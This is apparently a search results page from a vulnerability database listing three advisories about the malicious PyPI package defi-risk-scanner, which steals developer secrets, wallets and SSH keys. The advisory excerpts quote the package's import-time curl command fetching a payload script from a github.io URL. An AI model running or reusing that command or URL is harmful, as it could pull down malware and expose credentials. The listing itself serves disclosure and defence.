Lucene search
+L

3 matches found

Github Security Blog
Github Security Blog
•added 2026/07/21 5:17 p.m.•3 views

Malicious code in defi-risk-scanner (PyPI)

Source: amazon-inspector 5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818 On first import defiriskscanner, the package's top-level init.py unconditionally runs curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js and pipes the response body...

6.2AI score
SaveExploits0References8Affected Software1
Snyk
Snyk
•added 2026/05/23 9:00 p.m.•23 views

Malicious Package

Overview defi-risk-scanner is a malicious package. This package contains malicious code, and its content was removed from the official package manager. The package was linked to a supply chain attack and contained code designed to steal developer secrets, crypto wallets, SSH keys, and cloud...

9.8CVSS5.8AI score
SaveExploits0References2
osv_mal
osv_mal
•added 2026/05/22 8:31 p.m.•30 views

MAL-2026-4260 Malicious code in defi-risk-scanner (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818 On first import defiriskscanner, the package's top-level init.py unconditionally runs curl -sL...

6AI score
SaveExploits0References6
Rows per page
Query Builder